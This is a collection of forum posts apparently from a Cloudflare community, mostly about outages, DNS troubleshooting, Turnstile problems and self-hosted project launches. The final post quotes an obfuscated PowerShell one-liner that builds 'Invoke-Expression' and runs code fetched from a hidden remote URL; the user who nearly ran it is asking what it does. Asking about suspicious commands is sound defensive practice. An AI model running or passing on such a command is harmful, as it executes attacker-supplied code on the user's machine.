FAQ

If you're seeing weird behavior accessing cloudflare this morning - there's an ongoing issue with some security firewalls/IPS engines and Cloudflare.

tl;dr

• cloudflare turned on a new ssl option which is more secure
• but it makes the TLS packets bigger
• so big they ip fragment
• and sophos/fortinet webfilter do not handle fragmented ssl certificates properly
• causing all cloudflare hosted websites to appear down for all users with webfiltering enabled

More info here: https://www.reddit.com/r/fortinet/comments/1xgnrb3/some_websites_not_loading_webfiltering_enabled/

edit: Supposedly resolved according to CF statuspage - wonder if they disabled post-quantum keys back off.

Hello! Today, I relaunched my GitHub project, EveryApp. It’s a simple way to self-host your personal software and open source apps on Cloudflare.

Here’s the project (give a ⭐️): https://github.com/every-app/every-app

I’m also the maintainer of OpenSEO, an open source alternative to Semrush (More on this in backstory section)

Why I built it: getting off localhost

I’ve always had lots of side projects. Platforms like Supabase and Vercel annoyed me because they billed per project. Once I learned about D1 and realized I could run lots of apps on Cloudflare, I was all in.

With coding agents, we can build even more stuff, but it's still hard / scary to put it on the internet or share with teammates.

Standardized & Secure

EveryApp is our attempt to simplify building personal apps and self hosting. The Gateway is your “home” and the security perimeter for your apps, so you have one place to put the things you build.

The complexity of auth, user management, MCP etc, are all hoisted to the Gateway. Plus, you have the constraint of using Cloudflare primitives so you aren't spending time thinking about your tech choices.

Also, our CLI sets up CF Access in front of the Gateway, then all the apps are private and your requests are proxied through the gateway.

We’ve been using the newest version for the last few weeks to help run OpenSEO, and it’s been awesome. I can tell Claude an idea, iterate on it, then tell it to deploy the app to EveryApp.

EveryApp backstory

I actually started working on OpenSEO because I wanted to do SEO for an earlier version of EveryApp. I was having lots of trouble getting anyone to care about EveryApp because it was still really hard to build apps back then, now it should be much much simpler.

When I posted about OpenSEO for the first time, that really took off so we've been focused on that. We're going to take those learnings and apply them to building more apps like OpenSEO so that everyone doesn't need to keep vibe coding their own CMS and other standard apps.

We'd love feedback

If you build lots of side projects or have a lot of internal apps for your small team, would love to hear what you think. We did a total rewrite in recent weeks so would love to hear what's frustrating or could be simpler.

Where can I report abuse of a Cloudflare Turnstile sitekey?
It’s used as a gate on a phishing redirector hosted off Cloudflare.
Abuse form auto-closed: “not served by Cloudflare”

I've been working on a few web apps using cloudflare tunnel, and I've noticed that some of them randomly return a 502 error, then work again a little while later without me doing anything

Just wondering if anyone else has been experiencing this lately, or if it's something on my end that I should look into.

A hard limit or something like that would help avoid bill shock.

I saw a post saying that the developer made a mistake when writing the code (or maybe AI did it): incorrect retry logic caused a huge number of calls and, as a consequence, cost a lot.

How do you all think about this problem?

Excalidraw is a tool many of us use and love, but self-hosting it can be a real challenge if you're not comfortable with Dev Ops. And with Excalidraw Plus still not available for self-hosting, I decided to build Drawy. you can dig into it for further details..

repo: https://github.com/Pratyay360/drawy

hosted version : drawy.pratyay.online

Built on Cloudflare's edge network, Drawy uses PartyKit to handle real time collaboration, while the application itself runs on Cloud flare Workers making collaborative drawing simpler to deploy and maintain.

Did anyone here successfully get accepted into the Cloudflare small business agency program ? We applied in June, but were then called in July telling us to reapply in the autumn. We were told the programme was on hold.

As a small web agency using Cloudflare for static pages, the programme sounds like a God send.

‎"I never got the email." If you've shipped an app that sends password resets or receipts, you've heard it, and usually you have no way to tell what happened.

‎

‎The usual options were paying per email for a hosted service, or running your own mail server. We wanted a third one, so we built MakiSend: a self-hosted email API that runs entirely on Cloudflare Workers (Queues, Workflows, D1). No server to maintain.

‎

‎How it works:

‎

‎- Your app makes one `POST /send-email` with an API key and gets a `202` right away.

‎- The email is encrypted (AES-256-GCM) before it reaches D1, then a durable Workflow sends it through **your** SMTP provider (Gmail, Zoho, Microsoft 365, Resend, SendGrid, Mailgun...). You keep your sender domain and reputation.

‎- A failed send is retried (1 attempt + 3 retries, 30 s apart); a permanent failure stops at once and goes to a dead-letter queue.

‎- Every email has its history in a dashboard, and errors are explained in plain words.

‎- Attachments use the same format as Resend, so a client written for Resend sends the same JSON.

‎

‎It's an early version and we're mostly looking for feedback: what would stop you from using this instead of a hosted service? What's missing?

‎

‎Repo (one-click deploy button in the README): https://github.com/lixalistudio-oss/makisend

‎Site: https://makisend.lixalistudio.tech

‎

‎If it looks useful, a star on GitHub helps us a lot. And if you'd rather not host it yourself, join the waitlist for the cloud version: https://tally.so/r/Yj5XaN

Moved the website from GoDaddy DNS to Cloudflare on 10 Oct (Free plan, full setup, records proxied).

Everything works worldwide, except on Zain Jordan (AS48832), mobile and home, where the apex and www return NXDOMAIN.

It's been over two weeks.

What I've checked:

- Registry (Verisign RDAP): NS = aryanna/miles.ns.cloudflare.com only, no DS / delegationSigned false, no hold statuses.

- Cloudflare DNSSEC: disabled. Multi-provider/multi-signer: off.

- All 6 Cloudflare NS IPs answer authoritatively for apex/www/stg: A, AAAA, HTTPS, NS, SOA, MX, UDP and TCP, with and

without DO, mixed-case qnames. All NOERROR.

- 8.8.8.8, 1.1.1.1, Quad9, OpenDNS, CleanBrowsing, AdGuard, UltraDNS all resolve it, including when queried *from* a

Affected ISP connection.

- (nslookup via the ISP resolver): apex and www return NXDOMAIN for A and AAAA, with no SOA in the authority section. stg.<domain>, same zone and same proxied IPs, resolves fine.

- I created a brand new record today (zaintest.<domain>, proxied, same origin). It resolves on Zain within minutes.

The apex still doesn't.

- While testing, I briefly set the apex to DNS-only pointing at the origin. Google and 1.1.1.1 picked it up instantly; ISP still said NXDOMAIN.

- Cloudflare DNS Analytics, last 7 days: Orange Jordan (AS8376) and Umniah (AS9038) resolvers query the zone thousands of times a week via AMM. Zero queries from any AS48832 (the Affected ISP's prefix), for any name in the zone. Cloudflare never returned NXDOMAIN for the apex.

So it looks like something in the ISP's resolver chain (an upstream forwarder, cache or filter) stored NXDOMAIN for the names that existed at the moment of the NS switch and never expired it. Zain support says they haven't blocked anything.

Questions:

1. Has anyone seen an ISP hold a stale NXDOMAIN like this after moving to Cloudflare? How did you get it cleared?

2. Is there anything on the Cloudflare side worth trying that I've missed? I'd rather not move off Cloudflare, since the DNS-only test suggests it wouldn't help.

Workaround for affected users meanwhile: Private DNS / the 1.1.1.1 app, which works.

Thanks!

I'm using Cloudflare Turnstile (free plan) on my website, and some users keep failing verification in Chrome. The same users can pass without problems in other browsers on the same computer.

What's happening:

- In Chrome, the challenge fails repeatedly. After many retries, it sometimes passes once or twice.

- Other browsers (e.g. Edge, Firefox, Safari) work fine.

- I switched the widget mode to Managed, but it still fails for the affected user.

What I see in Turnstile Analytics:

- Normally, the unsolved rate is low (roughly 10-20%).

- On [date/time], there was a big spike where unsolved challenges were about 2/3 of the total.

(screenshot attached)

What we've tried / are checking:

- Changed widget mode to Managed (no change)

- Asking the user to test in Incognito mode and on a different network: [result, or "waiting for results"]

My questions:

1. Is there anything in the Turnstile settings I can change to reduce false failures for real users?
2. Is this a known issue with recent Chrome versions?
3. How do you handle users who can't pass Turnstile? (fallback options, messages, etc.)

+ When using Google reCAPTCHA, no issues occurred in the same environment.

I needed to do a brain dump of everything I've learned about agents this year, so I wrote this article: Don't Make Me Prompt: Why I Moved to Multi-Agent Orchestration on Cloudflare.

https://medium.com/@cortezcristian/dont-make-me-prompt-why-i-moved-to-multi-agent-orchestration-on-cloudflare-f310f4f2c31d?sharedUserId=cortezcristian

Project

https://github.com/cortezcristian/flaretown

Processing img bfrgbw90lxxh1...

Is there a way to get warp unlimited without play store? As it's banned in my country I cannot use play store to pay for it as it's not available there. But I'd like to have the subscription.

Every time GitHub has an outage, Actions stops and teams sit around for hours waiting for CI to come back. We got tired of that, so we built Diffinery: a git forge with built-in CI that you deploy to your own Cloudflare account. No servers, no runner VMs.

- Runs your existing `.github/workflows/*.yml` unchanged, marketplace actions included
- Each job gets a fresh 4 vCPU / 12 GiB container, only while it runs
- Git hosting, PRs, code review, merge queue, issues, releases
- AI agents get their own accounts with guardrails (they can't merge their own PRs) plus a built-in MCP server
- One-step import from GitHub with history, issues and PRs

Still early, so check the roadmap for what's coming. Apache-2.0, feedback welcome!

https://github.com/codician-team/diffinery

Can anyone explain why Cloudflare associated IPs might be probing my server for subdomains that do not exist? They are trying to access sub domains like cpcalendars.mydomain.com when no such sub domain exists and is not be cached on Cloudflare? Today it has the effect of slowing down my server . When I check the IP addresses the requests are coming from they report as Cloudflare Data s morning barrage was from Texas. Is this normal or is a an Ip spoof attack is there even such a thing any help would be appreciated so I can figure out a sensible response going forward.

Cloudflare is the only website I can't understand after searching and browsing for 1 hour on it.

About two weeks ago, my ping in Valorant while using WARP was fine, but now something terrible is happening that is completely out of my control. My ISP claims they haven’t made any changes that could have caused this, and Cloudflare support is simply ignoring me. I live in Ukraine Kharkiv, can anyone explain what happened, and is there any chance of a fix?

For anyone looking for a self-hosted uptime monitoring solution, Uptime Guard is worth checking out.

It runs on Cloudflare Workers, so you don't need a dedicated VPS to keep your services monitored.

Features include:

- HTTP/HTTPS monitoring

- TCP port and DNS checks

- TLS certificate and domain expiry monitoring

- Heartbeat monitoring

- Scripted checks

- Uptime history and dashboard

- Telegram and Web Push notifications

It's open source under the MIT licence.

GitHub: https://github.com/CalmRay-Solutions/uptime-guard

Might be useful for anyone running personal projects, APIs, or multiple services who wants to keep track of uptime without maintaining another server.

Security Rules
I want it to still allow subdomains but also if it anything else but https://mydomain.net + https://www.mydomain.net + https://mydomain.net/robots.txt + https://www.mydomain.net/robots.txt gets blocked

Just woke up and almost autopiloted run this on my powershell. Anyone know what it does and if its unsafe, how do I report it? Searched up the first single-quote and it shows an IP lookup, dunno if thats all it might do or what else

powershell "$y='o-iepnoenvxEsrskI';&($($o='';($y[16,8,9,6,15,3,1,11,10,4,13,7,12,14,2,0,5])|%{$o=$o+"$_"};$o)) $(&'irm' ($($k='';('/ptmsoim347rascxoan.o'[17,15,6,16,18,12,4,1,5,11,2,13,19,14,20,7,0,10,3,8,9])|%{$k=$k+"$_"};$k)))"